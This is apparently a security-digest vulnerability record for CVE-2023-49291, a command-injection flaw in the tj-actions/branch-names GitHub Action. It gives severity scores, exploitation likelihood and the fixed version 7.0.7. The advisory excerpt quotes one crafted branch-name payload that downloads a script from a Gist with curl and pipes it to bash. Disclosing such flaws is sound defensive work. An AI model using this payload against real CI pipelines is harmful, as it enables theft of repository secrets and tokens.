Security Digest · Vulnerability record
CVE-2023-49291: tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection
tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events.
CVSS 9.3 Critical EPSS 1.4% · p73
Should you act?
Critical and remotely reachable
No known exploitation yet, but it is network-reachable without credentials. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.
- No confirmed exploitation. It is not in CISA’s KEV catalog. That can change quickly after a public write-up; re-check if you are affected.
- EPSS 1.4%, percentile 73: FIRST’s model estimates a 1.4% chance of exploitation activity in the next 30 days, higher than 73% of all scored CVEs (moderate). EPSS is a probability, not a verdict.
- Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
- Only applies if your dependency tree includes
tj-actions/branch-names(GitHub Actions) < 7.0.7, fixed in 7.0.7. Check your lockfile, including transitive dependencies.
What it is
tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The tj-actions/branch-names GitHub Actions improperly references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse GITHUBTOKEN permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.
From the GitHub advisory
Summary
The tj-actions/branch-names GitHub Actions references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.
Details
The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.
An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.
Weakness type: CWE-20.
Product: tj-actions/branch-names (GitHub Actions) · Assigned by: GitHub_M · Published: 2023-12-04
Affected and fixed versions
| Ecosystem | Package | Vulnerable | First fixed |
|---|---|---|---|
| GitHub Actions | tj-actions/branch-names | < 7.0.7 | 7.0.7 |
| Vendor | Product | Affected versions (per CVE record) |
|---|---|---|
| tj-actions | branch-names | < 7.0.7 |
Severity scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| GitHub_M | 3.1 | 9.3 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N |
| GitHub | 3.1 | 9.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N |
- Attack vector: network (remotely reachable)
- Attack complexity: low
- Privileges required: none (no login)
- User interaction: none
- Scope: changed (can affect other components)
CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.
Exploitation and urgency
- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- FIRST EPSS (model of 2026-10-21): 1.45% probability of exploitation activity in the next 30 days; percentile 73.
Timeline
- — CVE record published by GitHub_M
- — GitHub-reviewed advisory GHSA-8v8w-v8xg-79rf published (critical)
- — CVE record last updated
Sources and references
Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.
Vulnerability records
- GitHub Advisory GHSA-8v8w-v8xg-79rf github.com
- CVE.org record CVE-2023-49291 cve.org
- NVD entry CVE-2023-49291 nvd.nist.gov
Other references from the CVE record and advisory
- github.com github.com
- github.com github.com
- github.com github.com
- github.com github.com
- securitylab.github.com securitylab.github.com
Critical GitHub Actions advisories · Today’s Security Digest